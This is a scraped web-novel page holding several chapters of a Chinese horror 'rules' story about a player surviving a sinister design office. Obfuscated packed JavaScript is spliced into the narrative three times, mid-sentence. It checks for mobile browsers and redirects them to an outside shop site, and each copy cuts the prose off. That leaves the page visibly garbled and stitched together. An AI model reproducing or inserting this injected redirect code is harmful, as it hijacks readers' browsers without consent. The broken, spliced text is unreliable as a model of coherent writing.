郝荨点点头,她摁下主机电源,从笔筒中取了支签字笔出来,上学时期的肌肉记忆还残存着,签字笔顺畅地在手指上转动,带起微微的风声,将员工守则的纸页时不时吹起。 办公室员工守则…… 这九条守则乍一看好像都普普通通,可细细思索下去却觉得每一条都有问题。 “滴。” 电脑屏幕亮起,蓝色的界面上整齐地摆放着办公软件,一大文件夹“砰”的一声被扔在她手边,琳达快步走过:“这些你来负责。” 郝荨打开位于最上面的项目文件,修改意见上大大的“标题太大了!要大一点的同时小一点,看起来要眼睛舒服!” 郝荨:…… 她果断合上文件夹,这一万块是真的非赚不可吗? 郝荨深呼吸一口气,点开设计软件,老旧的电脑跟不上软件发展速度,卡了好一会才打开,自动跳出了上一任员工没修改完的文件,花里胡哨的大花配上五彩斑斓的黑,标题用深蓝色放在最中间,她忍不住眯起眼,要去关文件,鼠标正要点到×上时她忽然顿住,本应是文件名的位置上显示着两个字—— “快逃!” 32. 办公室员工守则02 “怎么了?” 郝荨虎躯一震,她下意识把文件关掉,回头一看才发现是小乔。 “吓到你了吗?不好意思……”她把咖啡放到郝荨手边,“我只是想给你拿点喝的。” 郝荨摇摇头:“没事,谢谢你。” 不知道是不是她的错觉,总感觉这些认真工作的同事们正在用余光注视着她们。 小乔走后,办公室再次陷入了沉寂中,郝荨想找一下刚刚的文件在哪,却怎么也找不到,对话框突然弹出: ——【艾经理:注意效率。】 她能监控电脑? ——【艾经理:下班前记得把任务交上来。】 这么多?! 她看向堆积如山的文件夹,冷汗流了出来。 【守则八:工作效率!工作效率!工作效率!为第一要义,一切私人事物要为工作效率让路。】 就连守则都强调了三遍,这恐怕比其他条例都要更重要,她不敢赌没完成会有什么下场,只能认真干活,好在这是游戏副本,工作内容的难度并不高,只是很复杂,需要足够的耐心和速度。 当然,也有很多荒谬的要求。 比如改了十八版之后甲方突然说没办法提供素材,要回到第一版,又比如开头是1+1的项目,但每次修改都觉得东西给的不够,一点点上难度,需求从拧螺丝变成了造火箭……诸如此类,看的她血压都高了! “吱——” 门外走廊突然传来一阵奇怪声响,有什么沉重的东西向他们走来了,那东西一步一顿,还有什么尖锐的东西划过地砖,发出刺耳的声音。 她抬头看向门外,什么东西? “咚咚。” 门被敲响,办公室里密集的键盘声骤然停下。 “午休时间到了。”巴哥站起身,扶着脖子左右动了动。 大家聚集在门口,等到脚步声消失后,排在最前头的员工取了一份饭,饭盒是白色的,郝荨伸了个懒腰,视线定在门口的墙上。 那里有个办公室最佳员工的牌子,下方贴了几行照片。 “那是我们公司历代的最佳员工。”小乔开口,她羡慕地看向那些照片,“他们都是最好的员工,只有最好的员工才能被调到总部,要是这周能选上我就好了。” “呵。”琳达听到后发出一声冷笑,“还有时间跟新人搭讪,我看你是工作不够饱和——你又把任务给别人了?” 小乔还没说话,巴哥拿着两个饭盒过来了:“别胡说八道啊,你是嫉妒人家效率高吧!” 说着,便把其中一个饭盒递给了小乔,小乔打开看了一眼,随即拉了拉巴哥的袖子:“你们别吵了,大家都是一个办公室的,以和为贵嘛。” 琳达细细的眉毛高高挑起:“自己都不信的话就别说了,浪费我时间。” 说完,她便挤开郝荨去拿工作餐。 郝荨被撞到人堆里,好不容易才站稳,她正要道谢,一摸胸口,员工牌不见了! 【守则二:员工卡是你唯一的身份证明,请务必随身携带,并确保卡上显示的是你的照片与姓名。】 她迅速抬头,恰好看见小乔的眼神逐渐从温柔变得陌生,好像在看没见过的人一样。 郝荨心里咯噔一下,忍不住骂了一句脏话,这东西是游戏资格证明! 她视线迅速巡视,最后在一个同事的饭盒下看见了一点白色痕迹,郝荨冲上前去伸手要拿,这个同事却一转木讷神情,眼中满是嘲笑:“这是我的饭。” 他把饭高高举起,郝荨正要骂人,却突然顿住,她当然可以说那下面有自己的员工卡,但如果没有员工卡这事被其他人发现——会不会发生什么不可预计的事? “怎么了?你……?”另一个同事疑惑地看过来。 紧接着,更多的同事将她围绕在中心,来不及了! 郝荨猛地一个健步凑到拿走她员工卡的同事身前,伸手抵在对方腰间:“我说——” “这是我的饭。” 那同事还在洋洋得意,转眼间却被什么冰凉的金属管状物抵住,他表情一僵,快速向下看了一眼,随后吞了口口水: “不好意思,拿错了。” 郝荨接过饭盒,抽出下方的员工卡,姓名照片都是自己的,到手的瞬间,周围同事们仿佛忽然又认识她了般四下散去。 小乔目光担忧:“员工卡不能补办,小心些。” 郝荨点点头,守则三中写得很清楚——【员工餐按人头分配,不会多也不会少,请确保用餐时每位员工都有一份员工餐】,获得员工餐的前提就是你得是公司的【员工】,这个概念很好理解,没有公司会愿意无偿为非本公司职员提供餐食,再配合守则二中的【员工卡是你唯一的身份证明】,那么她失去员工卡无法获得员工餐的后果就可想而知了。 这间办公室连她一起一共八个人,每个人手里都拿着一份白色餐盒,她松了口气打开饭盒,日日夜夜设计公司的伙食还不错,两荤两素,或许是考虑到不好搬运,餐食里没有准备汤,被噎了几口后郝荨抬头望去,其他人都是一边吃饭一边喝着杯子里的水或者咖啡,她便也拿起了咖啡放到嘴边—— “我是你的话,宁愿噎死也不会喝经过别人手的东西。” 她动作顿住,看向隔壁的琳达。 琳达呼噜呼噜往嘴里扒着饭,她吃饭很快,大口塞进口中,嚼不了几下便和着水强行咽下,看得郝荨感觉自己嗓子也开始难受了。 “你的意思是……咖啡里有问题?”郝荨压低嗓子问。 过了几秒,琳达抬起头,餐盒里的饭菜已寥寥无几,她矢口否认:“我可没这么说。” 她用筷子把饭盒刮得干干净净,最后一口饭下肚,琳达端着餐盒起身:“我只知道,在这里,所有人都是最佳员工的竞争对手——” “包括你我。” 说完,她便快步离开,没有留给郝荨一丝叫住她的机会。 郝荨正要放下咖啡杯,一股若有似乎的视线袭来,像是条湿冷的蛇。 她顿了顿,假装抿了一口,再状似不经意般扭头望去时,那道视线又不见了,同事吃饭的吃饭,加班的加班,每个人都在做着自己的事。 郝荨把饭吃完,她偷偷把咖啡倒在了空餐盒里,再把盖子盖好去还餐盒,回来时路过照片墙,那些照片下都写着获奖员工的姓名和评选日期,第一批获奖的三名员工穿着格子衬衫,对着镜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024090|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头局促地比耶,可第二批、第三批……再之后的每一批员工都充满了肉眼可见的疲惫,眼神也越来越冷。 更奇怪的是,在这其中,并不是每一周的最佳员工都在上头,有的中间甚至空了好几个月,离她最近的一批照片是在两周之前,这两周是还没来得及贴……还是没有最佳员工诞生呢? 她去茶水间给自己倒了水,猛喝几大口才缓解了渴意,一想到下午还要面对那么多工作,郝荨就忍不住想上厕所。 “玛弥!” 一见到她,余逸就眼睛亮了起来,他几步跑到郝荨面前,卷卷的头发在空中一跳一跳,脸上满是欢欣,实在有种……小蝌蚪找妈妈的感觉。 “玛弥!那些工作不会真的要做吧,我跟你说我们那个办公室的人都可冷漠了,那——么多文件全让我整理,要不是还有高三写卷子的记忆,我当时就得崩溃了!” 余逸抓着自己的头发一通乱挠,很显然,这个才十九岁的大学生在游戏里提前接受了社会的毒打,很崩溃。 法瑟也跟了进来,沉默地往沙发上一坐。 表情沉重。 作为一个上学期间就被GOD直聘进入高维公司“迷雾游戏”的年轻人,还没有吃过一天上班的苦。 上班竟然这么苦! 法瑟大为震撼:“他们让我打印了一上午文件,打完问我PPT做完了没。” 郝荨强行忍住,不能笑,她是专业的。 法瑟皱眉:“你在笑?” “没有啊!”郝荨满眼无辜。 余逸猛灌了杯咖啡才继续吐槽:“我同事也是!他自己文件做错了还说是我给他打错的,我去找艾经理告状,艾经理竟然叫我重做!游戏里就可以不讲道理吗?!” 他越想越生气,义愤填膺道:“不行,我要去找她说清楚!” “等等等等!”她勉强余逸拖住,“冷静一点!” 郝荨把刚才发生的事告诉他们,见队友差点出事,余逸终于冷静下来:“那个照片墙我办公室也有,每一期三个最佳员工,幸好我们这场只有三个玩家,不然……” 他没说完,但大家都知道他在说什么。 不管现在他们看起来关系有多好,只要一天没有脱离迷雾游戏,未来大家就有可能成为竞争对手。 郝荨想了想,没有把其他玩家可能存在这件事告诉他。 “先安全度过今天吧,顺利下班再说,别忘了守则八——一切私人事物要为工作效率让路。” * 一下午的工作忙得郝荨头昏脑涨,紧赶慢赶才赶在五点前把任务做完。 她长舒一口气,总算是做完了! “下班了?” 电脑上方突然冒出半张脸来,幽深的目光直直地看向她,郝荨吓了一大跳。 巴哥站起身,牵动嘴角拉扯出一个大大的微笑:“别紧张,关心一下新同事而已。” 她前桌的这位同事一整天没给她好脸色,现在却来关心她?什么意思? 郝荨不着痕迹地看了眼时间,五点整。 明明已经到了下班时间,却没有一个人有动作,仔细听去,走廊上也没有人走动的声音。 怎么回事? 33. 办公室员工守则03 郝荨回了他一个微笑:“没有呀,前辈要下班了吗?” 巴哥骤然收起表情,阴冷的视线凝聚在她脖颈,郝荨只觉得脖子一凉。 没事的,这是规则怪谈,或许规则会有隐藏含义会坑人,但只要没有违反规则,她就是安全的。 巴哥盯了她几秒,冷哼一声转过头去。 【艾经理:做完的可以先拿给我审核了。】 神出鬼没的对话框再次弹出,郝荨眯起眼,巴哥的反应很奇怪,像是在催她下班似的,这会儿艾经理也发来信息,催促她拿去审核,若是在现实世界她还可以理解,毕竟经理也要下班,可这是游戏世界,走错一步就有可能出局。 在这种情况下,她按兵不动,先看看别的同事怎么做才是上策,但…… 守则八还是很让她在意。 这场游戏的通关条件是顺利离开公司,这其中可能有两层含义,一层是物理意义上的离开公司,那这个游戏就会变成逃脱类型,或许会有东西阻拦她离开公司大楼,另一层则是身份上的离开,考虑到守则九【本公司鼓励员工良性竞争,每周获得最佳员工的人将得到派遣至总部的资格】,再加上琳达和小乔说的,这里的每个人都在竞争最佳员工,以获取离开公司派遣至总部的要求,她更倾向于第二种可能。 那么守则八就很重要了,要想成为最佳员工,工作效率必然是最重要的,那是不是意味着——她得第一个拿去给艾经理审核? 郝荨伸进口袋,摸了摸自己的木仓,总算是有了些许底气。 毕竟她只是一个平平无奇又太有良心的游乐园园长。 她站起身的瞬间,办公室好像被突然按下了暂停键,键盘声瞬间消失,郝荨在他们的注视中抱着文件去往经理办公室。 艾经理的办公室色调和她本人给人的印象很像,冷硬的地砖和黑色的实木办公桌,连椅子也是黑色,见她敲门进来,艾经理头也不动,只调转眼球从眼镜上方瞥了她一眼,便又继续紧盯屏幕:“东西放下。” 郝荨便放在她手边静静等待,过了大约一刻钟,艾经理终于拿起文件开始审核,一时间只能听到办公室里哗啦哗啦的翻页声。 “砰!” 厚厚一打文件夹被艾经理扔下。 “这就是你改的东西?” 她说话的语气很平稳,内容却让人一下子提起心来,郝荨下意识低下了头。 “是的。” “不行,继续改。”说完,艾经理就又把视线放到了她的屏幕上。 郝荨犹豫了几秒问:“具体是哪里要改呢?” 艾经理皱起眉毛:“这种事需要我说?公司养你是吃干饭的?” 郝荨深吸一口气:“那么修改什么时候要呢?” “当然是改到通过为止,”她又看了眼郝荨,似乎是看在她是新人的份上,艾经理又补了一句,“总之,尽快。” 郝荨拿起文件转身就走,她怕再晚一秒她的嘴巴里就会冒出难登大雅之堂的言辞。 这个艾经理看起来很专业,实际上跟那些离谱领导也没什么区别! 办公室里,其他人就像在等待什么结果似的一动不动,直到郝荨回到自己座位上继续修改才重新恢复正常。 他们在等待什么?等待她是不是能第一个通过审核? 郝荨快速修改着,先前那版她做的比较敷衍,或许是因为这个原因才被艾经理打回,她准备仔细改完再试一次。 中途不断有人带着文件去找艾经理,没过多久又继续回来加班,郝荨只能安慰自己,受伤的不止她一人。 很好,只要大家都在加班,就等于没有人在加班。 时间逐渐到了十二点,办公室里依然人头涌动,没有人离开,郝荨敲完最后一个字,终于改完了! 她站起身,所有人唰一下看向她。 “玛伊雅弥要下班了吗?”小乔睁大眼睛问道。 她的语气还是很温柔,这句话像是发射了什么信号标一样炸开,一瞬间,其他同事也纷纷讨论道: “下班了?” “你要下班了?” “终于要走了?” …… 同事们议论纷纷,每个人眼里都是清晰的兴奋神色,就好像要欢送她离开。 郝荨放松的心渐渐冷却下来,精神重新紧绷,什么意思? 下班到底意味着什么? 为什么他们知道她要下班都这么开心? “我去上厕所。” 郝荨连忙离开办公室,再待下去,她会有种要被送走的感觉。 厕所很空旷,似乎所有人都在努力加班,没有一个人在,她洗了洗手,冰冷的水流冲刷在手指上,又顺着指缝流下,工作太久了,她脑袋有点生锈,转不动了。 反应过来时,她已经发呆发了有一会儿。 今天才第一天,以上场游戏的经验看,游戏难度应该是随时间和事件发展而上升的,第一天的难度应该不会很高,郝荨安慰自己,她正准备关上水龙头,余光却突然在镜子中捕捉到了什么。 最后一个隔间的墙上,似乎刻了什么东西? 门外忽然传来一阵脚步声:“玛伊雅弥?你在里面吗?” 是小乔的声音。 郝荨紧急关上水龙头冲进最后一间隔间,下一秒,脚步声就进了厕所。 小乔穿着一双很漂亮的黑色高跟鞋,踩在地砖上“哒哒”直响:“玛伊雅弥?” “我在,怎么啦?” “哦,没什么,就是看你很久没回,怕你出什么事。”小乔打开水龙头,听声音似乎在洗杯子。 “我没事,就是突然肚子有点疼,要再等一会儿。” 郝荨边解释,边分心检查刚刚看到的刻痕,那刻痕在废纸桶后面,边缘看起来还比较新,但不知道是不是被处理过,有几个字被擦得模糊不清,她只能勉强分辨出“小心”、“不要”、“藏”这几个字。 什么意思? 有人藏了什么东西吗? 如果她是那个刻字的人,会在什么情况下在厕所的小隔间里刻下这些文字呢? 那一定是其他地方都很危险,只有隔间这种私密的环境里还算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她想了想,办公室里人流量太大,能躲过同事们的视线藏东西的可能性很小,艾经理的办公室更不可能,唯二能藏的就是茶水间和厕所,难道在茶水间? 可东西藏在茶水间的话为什么提示要刻在厕所? 难不成…… 她在镜子前绕了两圈,忽然她意识到了什么,郝荨弯下腰——果然! 一本薄薄的小册子被牢牢粘在洗手池底部! 郝荨用力扯下,这册子很眼熟,她从口袋里掏出自己的那本《日日夜夜设计公司员工守则》,两本除了新旧程度外有所区别外可以说是一模一样。 打开一瞧,几乎每页都写着几句话。 【谁有我惨,游戏外当牛马,游戏里还得当牛马!】 【事情好像有点不对……员工卡上怎么会出现他的名字?】 【又困又累,游戏什么时候才能结束……我靠!她疯了?!】 【疯了!都疯了!这怎么比得过?!我不会就这么留在这吧……不行!我一定要离开!】 【老大没了…不想上班了……下班……我要下班……】 字迹越来越凌乱,到最后几乎要连猜带蒙才能猜出对方写的什么,郝荨翻开最后一页,呼吸骤然一窒,上面只写着四个大字—— 【不要下班!】 34. 办公室员工守则04 郝荨回到办公室,办公室里的人一个也没少,还是没有人下班。 她的脚步不着痕迹地顿了顿,小乔站起身招呼她:“你回来啦,刚好我要去找经理审核,一起吗?” 郝荨斟酌了几秒,点头同意,两人一起捧着文件去到经理办公室,奇怪的是,艾经理并不在里面。 “可能有事出去了,我们等等吧?” 或许是站着等太无聊了,小乔不时要跟郝荨搭话,郝荨边敷衍边思索那本前任员工留下的册子,很显然,那本员工守则是之前进入这个副本的玩家留下的,或许是时间紧张,也或许是担心被同事看见,他写得语焉不详,给她留下了很多谜团。 唯一能确定的,只有这玩家的精神状况每况愈下,TA究竟遇到了什么? 门忽然被推开,艾经理似乎没想到有人,她动作一顿:“来审核?” “是的经理。” 这次她审核的更快,不过三四秒的功夫就把两人的文件摔在桌上:“做的什么东西?全部重做。” 哈? 郝荨瞪大眼睛,你这样我可就得好好battle一下了,上个版本做的不行她承认,是没有用心,这这版她非常满意,这也不行吗?! “艾经理,没有具体方向的话我很难继续修改,不然先给甲方看一下,问问他们的修改意见?” 艾经理冷漠的视线透过无框镜片看向她,小乔拽了拽郝荨,郝荨没有搭理。 “行。”经理握住鼠标点了几下,随后开口,“甲方很不满意,说没有sense,重做。” 郝荨:…… 你但凡等几分钟演一演呢?! 这才几秒,甲方能看完那么多文件吗?! “抱歉艾经理,我们马上就改!” 小乔满脸愧疚,鞠躬道歉,顺手把郝荨也拽走了。 “她居然……!”郝荨正要吐槽,突然想起这不是她以前兼职的同事,两人不是那种可以一起骂老板的关系,她迅速改口:“居然……这么厉害,审核速度好快!真不愧是我们经理!” 她甚至还比了个大拇指。 郝荨沉痛,自己终于还是活成了自己痛恨的样子。 再次回到办公室,电脑屏幕上显示已经十二点四十了,如果按照经理的说法全部重做,那么今天怎么也不可能做出来,要不先休息? 在休息室休息的话就不算下班了吧? 她看了眼周围,偷偷把文件放放好,水杯也洗干净,一切准备就绪,只等关机! 鼠标小心翼翼地移到【关机】界面,轻轻一点—— 没有反应。 怎么回事?郝荨又点了一下,还是没有反应。 死机了? 忽然,电脑屏幕猛地闪烁了一下,鼠标无人自动,点开无数文件夹,有些甚至是郝荨都没发现的,隐藏在最深处的文件! 文件名上的大字跳出,快速闪现,“快逃”、“修改v732”、“再改就死给你看v999”……等等等等,各种名字汇聚在屏幕最上方,融合叠加成四个大字—— “不要下班” 电脑停顿几秒,又立刻闪烁起来。 不要下班不要下班不要下班不要下班不要下班不要下班不要下班不要下班不要下班不要下班…… 密密麻麻的文字遮盖住了整个屏幕。 “你在看什么?” 巴哥忽然回头,紧接着,其他同事也停下了手里的动作,齐刷刷向这里走来。 不能被发现! 郝荨心脏狂跳,她急中生智,用力踹了一下脚底。 只听“啪”一声,总电源被踹掉,整间办公室的屏幕瞬间全黑。 空气陷入难言的寂静,几秒后,一声惨叫划破天际: “我还没保存!!!” 一时间尖叫声此起彼伏,所有人的脸上都出现了生动活泼的神色。 郝荨松了口气,看来这场游戏里有一条隐藏规则——在日日夜夜设计公司工作的员工,不能下班,或者说,不能主动下班。 之所以这么说,是因为距离电源被踢后没多久,她就忽然眼睛一黑,再睁开眼时,已经来到了第二天。 游戏把睡眠时间给快进了。 她的头脑有些昏沉,或许是她很久没熬夜了,这会儿突然熬夜加班还有些不适应。 “昨天没事吧?” 余逸摇摇头:“眼一闭一睁,天就亮了。” “叮咚,1楼到了。” 不远处的29号电梯门打开,走出来的三人中,不知道是不是郝荨的错觉,打头那个女人好像瞥了她一眼。 “叮咚。” 他们的电梯也到了,三人进入电梯,趁着电梯里没人,郝荨取出昨天拿到的员工守则:“你们看看这个。” 余逸看完递给法瑟:“是上一批玩家留下的吗?” “嗯,这里面有几点很让人在意,第二条中员工卡出现的‘他’是谁,疯了的‘她’又是谁,第四条的时候玩家精神状态还很正常,第五条的‘老大’死了之后却话风一转,我推测这个‘老大’可能是他的队友,甚至有可能是带他通关的老玩家。” 郝荨点了点最后一页,神色严肃道:“我昨天尝试了一下,一旦你有想要下班的举动,同事就会突然变个样子,合理推测‘下班’或许是隐藏规则的关键词之一。” “啊!”余逸恍然大悟,“那我昨天方案一直通不过也是游戏在控制?不是方案的问题?” “嗯……” 那倒也说不准。 她正要安慰余逸,电梯突然震了一下。 “怎么回事?” 电梯顶灯疯狂闪烁,郝荨下意识贴上内壁。 显示屏上的数字开始迅速变化——16——27——53——88! 电梯不动了。 一股剧烈的恐慌感骤然袭上她心头。 “什么情况啊?怎么到88楼了?” 余逸还有点没反应过来,他拿出员工卡在刷卡的地方扫了好几下,被法瑟一把捉住手腕:“别动!” 那员工卡上根本不是余逸的脸! 郝荨迅速看向胸口,她和法瑟的员工卡也换人了! 格子衫、比耶、局促的笑容…… “是第一批最佳员工!” 话音刚落,电梯瞬间下落,强烈的失重感让她心脏砰砰狂跳。 法瑟右手动了动,犹豫了一下:“扫把借我。” 余逸着急忙慌地抬起手,那把钛合金扫把重出江湖。 法瑟拿到手里掂了掂,似乎有些不顺手。 【武器:扫把】 【品阶:绿】 【描述:远看是把扫把,近看也是把扫把,它不止可以扫地,需要的时候也可以充当大风车!】 转瞬间电梯已经掉到了第31层,郝荨屈膝半蹲大吼道:“别等了!有什么招快使出来啊!” 下一秒,法瑟手腕一动,扫把头原地旋转一百八十度直冲电梯门而去—— “铛!” 一声巨响,扫把硬生生插进那扇钢铁制造的大门上。 数字还在跳动! 29楼——< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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对方微微一愣,笑容变得有些勉强:“你也不相信我吗……没关系,警惕一些也好。” “但不管你信不信,我真的没有在咖啡里做手脚。”她垂下眼睛,眼珠变得湿润。 巴哥一回头就看到这副模样,火气直冲天灵盖:“你居然敢欺负她?!” 郝荨:? 她现在真的是在无限流副本而不是在什么三流霸总文学吗? 巴哥站起身,他本就长相刻薄,现在怒气上头更显凶恶,一副马上要打人的样子。 “没——” 见小乔要说话,郝荨立刻打断她:“你可别误会!小乔想给办公室的同事送咖啡,在问我你爱喝哪种!” 刚还血压上涌的巴哥一懵:“是、是这样吗?” 小乔:“我——” “是呀!”郝荨睁着眼睛说瞎话,“可我是新来的怎么会知道你的口味呢?你还不快来自己选一下。” 巴哥的视线落到小乔手上,他有些不好意思道:“我都行,只要是……就都喝。” 他挠了挠头,高耸的颧骨上落下一片红晕,但NPC毕竟也不是傻子,他还记得小乔那一副要哭的表情,巴哥对着小乔正色道:“她真的没有欺负你吗?你别说话,我要听小乔说。” 郝荨手伸进口袋,握住了她的木仓。 小乔的笑容很是僵硬,忽然,一阵沉重的脚步声从走廊传来。 午餐时间到了。 这脚步声实在刺耳,如果不是知道是在放饭,郝荨甚至要以为是什么变态杀人狂拖着实体在外头晃荡,恐怖的画面在脑海中闪过,她摇摇头,不再多想。 疲惫的同事好像丧尸一般摇摇晃晃站起,舒展着紧绷的身体走到门口。 郝荨也挤在了中间,这次她记得把员工卡塞进外套里藏得严严实实,要轮到她时,走廊里突然传来一声大叫。 是余逸! 35. 办公室员工守则05 郝荨立刻挤开其他人冲到2705,余逸正蜷缩着蹲在门口。 “怎么了?!” 余逸抬头,那双狗狗眼泪眼汪汪,一副很想忍住但又实在忍不住的模样,他举起一直被护在胸口的手,手背上插着一支签字笔,血流如注: “呜呜呜呜玛弥!好痛!” 法瑟也赶了过来,见到这场景,他抬起头,视线在205中巡视了一圈,迅速锁定了那盒还带着血迹的餐盒。 郝荨也看到了这一幕:“他抢你饭?” 余逸连连点头,猛擦了一把眼泪道:“那人不知道什么毛病,明明有饭非要抢我的!抢就算了,怎么还捅人啊!” 郝荨沉下面色,见法瑟要进去抓人,她连忙拉住他。 “等等。” 法瑟回过头,眼神里带着不解。 郝荨指了指余逸的手:“止血要紧,那个人可以等等再处理。” 虽然在副本里主要还有一口气,通关的瞬间就能满血复活,但今天才周二,谁也不知道后面会发生什么事,余逸带着伤很可能会影响后续行动,至于那个捅人的NPC,后头再解决也不急。 “有治疗技能或道具吗?” 郝荨检查了一下他的伤口,凭她浅薄的医疗常识来看,这应该是贯穿伤,虽然没有伤及大动脉,但一直流血也很危险,此刻贸然拔除签字笔的话很可能会造成二次损伤。 法瑟摸上口袋,又忽然想起什么,眼睛里透出些憋屈来:“……没有。” 郝荨有些疑惑,但也没说什么,她想了想:“这是公司,应该会有医药箱。” 果然,他们在茶水室找到了医药箱。 伴随着一声惨叫,郝荨迅速消毒冲洗纱布按压一气呵成,迅速把手掌捆成了个粽子,倒是手指还留在外面:“好了,这样你写字敲键盘也不影响。” 话音刚落,余逸好不容易忍住的眼泪又“哇”一下流了出来:“我都这样了还要上班,这就是成年人的世界吗呜呜呜……” 郝荨脸上很是心疼,嘴巴上却毫不留情:“孩子,你长大了,这就是成年人的世界。” 余逸哭得更惨了。 她回去时,放着饭盒的塑料箱中已经空空如也。 她的饭呢?! “你的饭。” 一只手伸进她的视线,郝荨抬起头,巴哥那张不耐烦的脸映入眼帘。 “快拿着啊!” 见她不动,巴哥的神情里带上几分焦急。 “你是说——”郝荨慢吞吞道,“这是——我——的饭?” 她低下头,看向他递过来的那只餐盒。 餐盒表面很光滑,涂色均匀,处处散发着高级餐具的味道。 唯一的问题是——它是黑色的。 【守则四:普通员工为白色餐盒,黑色餐盒是经理专用,如发现有人拿错餐盒,立刻闭上眼大喊“公司是我家,业绩靠大家,努力再努力,人人创佳绩!”的口号,并等待五分钟。请注意,无论你听到什么,都不要睁眼。】 “不然呢?”巴哥似乎什么都没发现,翻了个白眼道:“就这一盒了,爱要不要!真是好心当成驴肝肺!” “是吗?”郝荨挑起眉毛,一步上前快速拉出他背在身后的那只手,“那你这只手里拿的什么?” 那才是最后一份员工餐盒——白色的。 巴哥身形一僵,他反应很快,立刻恶声道:“这是我的午饭!” 郝荨眼睛弯起:“没关系,我不介意。” 她用力踢上对方手腕,巴哥一时不察,餐盒瞬间脱手。 再一个飞扑衔接翻滚,餐盒就落在了她的怀里,姿势虽然不大好看,好用就行。 郝荨跟出水的泥鳅一样滑回座位,第三版修改还差收尾就完成了,但一想到要去艾经理那审核她就开始头疼,况且……她还有个想法等待验证。 “咔。” 今天的盖子有点难开,她好不容易掀开盖子,正要开吃,却忽觉不对—— 这是什么? 餐盒里装着黏黏糊糊的浓稠混合物,颜色诡异的深红色液体里混着大小不一的白色不明物,戳起来质感很坚硬。 她迅速看了一眼琳达,不知为何,琳达的椅子今天离她格外远,但好在两张桌子靠在一起,她还是能轻松看清对方在吃什么。 琳达的餐食和昨天的一样! 那她的这份……电光火石间,郝荨忽然意识到了什么,她立刻看向盖子,那盖子竟然有两层! 拆开后果不其然,里面那层是黑色的! 这根本不是员工餐,而是经理餐! 郝荨眯起眼,门外传来一阵脚步声,踩在空空荡荡的走廊里几乎能听到回声,她头皮一麻,下一秒,脚步声停下,艾经理的声音响起:“谁——拿错了餐盒?” 她的声音明明没多大,却轻而易举地传遍整个27楼,像是危险的钟声般重重敲响在郝荨心头。 她抬起头,电脑屏幕的缝隙里露出一双充满恶意的眼睛。 巴哥缓缓站起身,嘴角扯开:“是她——” “艾经理!”郝荨拍桌而起,“我要举报!” 她盯住巴哥的眼睛,一字一句道:“公司有人进行恶性竞争!” 【守则九:本公司鼓励员工良性竞争,获得最佳员工的人将得到派遣至总部的资格。】 公司鼓励良性竞争,那就意味着不鼓励恶性竞争。 奇怪的是,她本以为能在对方脸上看到恐慌,或者说,至少也该有紧张,但巴哥非但不紧张,还很放松,他甚至抱起双臂靠在了桌子上。 就像是拿定她说的话无法对他造成任何威胁一样。 为什么? 是公司不惩罚恶性竞争者……还是因为她没有证据? 危急时刻,郝荨脑子转得很快,她把餐盒盖好,几步冲到了艾经理身前。 “艾经理,你跟我来!” 她刻意忽视了艾经理脖子上浮现的青筋和缩小的瞳孔,抓住对方好像冰窖里拿出来的手把人带到了2705室。 “2705有人故意伤害同事!” 余逸听到她给他伸冤,激动得站起身来。 郝荨继续说:“扎别的地方就算了,居然故意扎手!这严重损害了别人的工作效率!” 余逸本来还兴冲冲地举起手给经理看伤口,听到这话又默默地放下了。 扎别的地方很痛啊! “他损害的难道是一个人的工作效率吗?” 郝荨激动道:“不!别人受伤了,但工作还得做,这些工作谁来做呢?还不是得同事们一起分担,这样一分担,大家自己的 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攻击余逸的人终于反应过来了,他大声辩解:“不是!我不是叛徒,我只是做了——唔!唔唔!” 他说到一半,艾经理一把将餐盒塞进他的嘴里。 郝荨抹了把汗,那么问题来了。 她的饭呢? 装午餐的塑料箱被她翻了个底朝天,确实是没有,每个人手里都只有一份饭,她的那份就这么凭空消失了? 郝荨一个个看过去,一、二、三……八,没错啊—— 等等! 她站在门口,那办公室里怎么会有八个人?! 她又点了一遍,还是八个,连她一起,这间办公室里居然有九个人! 多了谁?! 郝荨迅速打量起每张脸,吊诡的是,每张脸她都很熟悉! 是她的记忆出错了? 还是办公室里有“东西”混进来了?! 她想起守则四,立刻闭上眼睛大声喊道:“公司是我家,业绩靠大家,努力再努力,人人创佳绩!” 刚一说完,耳边的声音骤然一清。 她身处之处,不,应该说是整层大楼都仿佛出现了某种变化,一股浓重的威压从四面八方向她压下,连呼吸都开始费力,温度降低,冷气吹拂过她的脖颈,她瞬间起了鸡皮疙瘩。 心跳“扑通扑通”响的厉害,她能感觉到,有什么在审视她。 郝荨想起什么,她没有睁眼,而是慢慢从外套里掏出员工卡。 过了一会儿,那东西越过她,向办公室里走去,灯泡发出“噼啪”的响声,像是禁受不住寒意侵袭那般发出不可承受的声音。 也幸好郝荨闭着眼睛,这东西与其说是怪物,不如说是某种特殊物质组成的集合体,大团大团的黑色雾气凝结在一起,混杂着受损的内脏和灰白的头发,头部的位置有一张巨大的嘴巴,嘴巴张开,伸出一台冰冷的摄像头,无情地扫视着另外八人。 扫视到小乔身边时,那个男人忍不住抖了一下。 那怪物非常敏锐,身躯瞬间拉长,几乎要把那人吞下,男人坚持了不到两秒,“砰”一声变成了一团灰色雾气,直冲门口。 可门口,还有个员工堵在那,正是郝荨! 36. 办公室员工守则06 变身人肉挡板的郝荨对此一无所知,她只感觉室内的温度一下子又低了几度,鼻腔里的空气冷冰冰的,只感觉她的整张脸都要被冻住了。 一双几乎同样冰冷的手按上她的肩膀,下一瞬,她原地被那双手平移开来—— “午休马上结束了。” 这声音又熟悉、又无奈,竟然是艾经理。 她在跟谁说话? “咻——”一道冷气迅速刮过脸颊,吹得她脸皮直抖。 不等她缓解,一道更大的冷气接着刮过,有那么一瞬间,她还以为自己在北极冰川上狂奔。 